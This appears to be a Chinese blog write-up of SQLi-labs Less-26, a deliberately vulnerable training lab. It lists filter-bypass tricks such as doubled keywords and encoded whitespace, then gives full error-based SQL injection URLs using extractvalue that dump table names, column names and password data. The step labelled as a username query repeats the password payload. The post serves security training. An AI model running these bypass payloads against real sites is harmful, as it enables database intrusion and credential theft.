Sqlilabs-26

来到了 Sqlilabs 大魔王的第 26 关关卡…

71859b459ba180da010ba22dd5acdf4.png

来到页面就看到大大的,“你的所有空格和过滤符都属于我们“,这难得到机智的你吗?
在此说下常见的绕过方法有:(本来这应该在 25 关卡就说的,忘了…)

  1. 双写绕过
  2. 大小写绕过
  3. 编码绕过,如:hex || URL
  4. 注释符绕过,如:/!select/
  5. 替换:如 and 可替换为 && ,or 可替换为 ||
  6. 空格的话我们可以 url 绕过:%a0 || %0b 等等,过滤字符我们可以用 and || or 替代

4ecc6ad02a297c4b37daf1791a14af4.png

有了上述的神兵利器,那就很快会被打脸的啦

http://sqlilabs/Less-26/?id=1' 回显错误

http://sqlilabs/Less-26/?id=1'%0band%0b'1'='1 回显正常 这里就用到了上述第 6 条,但是你细品构造的语句:

你会发现后台还把 and 过滤了,而且 %a0 和 %b0 根本不起作用,这就难为人家了…

3919698fa3e46af645e27950b8ef437.png

别着急,有我在,一步步来:
既然 and 被过滤,那就看看能不能双写绕过,答案是可以:
http://sqlilabs/Less-26/?id=1' aandnd '1'='1

4ff2452e4c4728f84f36c9d1fc13de5.png

and 我们处理完了,可想而知 or 应该也被过滤了,并且 --+ # 都被过滤了,前者双写可绕过,后者可以用 and 或者 or 替代,其实这个空格除了编码,还可以用 () 来绕过,比如:
查数据库名称,本来应该是:select database(),就可转换成 select(database()),结果如图:是一样的

31a21f7172c85ac2477699eccc94e3e.png
050c94f9b2f2accaedc093e57936a55.png

鉴于此题的特殊性,决定采用报错注入,结合上述的方法可以构造出如下的 payload:[这就达到了去除空格的效果]
http://sqlilabs/Less-26/?id=1'oorr(extractvalue(1,concat(0x7e,(select(database())),0x7e)))aandnd '1'='1

通过报错,得到了我们想要的数据:
720bd67dfbd7313af43a2e3dba89fb3.png

有了上面的例子,下面的 payload 构造就顺理成章啦:)

–查表:
http://sqlilabs/Less-26/?id=1'oorr(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),0x7e)))aandnd'1'='1

acd9f19fea28b3592d77a6a59cf5ef4.png

–查列:
http://sqlilabs/Less-26/?id=1'oorr(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema=database())aandnd(table_name='users')),0x7e)))aandnd'1'='1

45913b8584c4edbaa15c16b256f0421.png

–查数据

–查用户名
http://sqlilabs/Less-26/?id=1'oorr(extractvalue(1,concat(0x7e,(select(group_concat(passwoorrd))from(users)),0x7e)))aandnd'1'='1

6ca794cb53e49892a1464fff0631817.png

–查密码
http://sqlilabs/Less-26/?id=1'oorr(extractvalue(1,concat(0x7e,(select(group_concat(passwoorrd))from(users)),0x7e)))aandnd'1'='1

608b472b54fd65694ec8e9b72e3382b.png

可能细心地会发现这数据不完整,没关系,加个 where(id=5) 就可以间接地让数据完整了,
最后…看了波源码:

75b80d316fac4d2d5feeb51bda8429e.png

心里一句:| 是个狼人
😄

  • 4
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值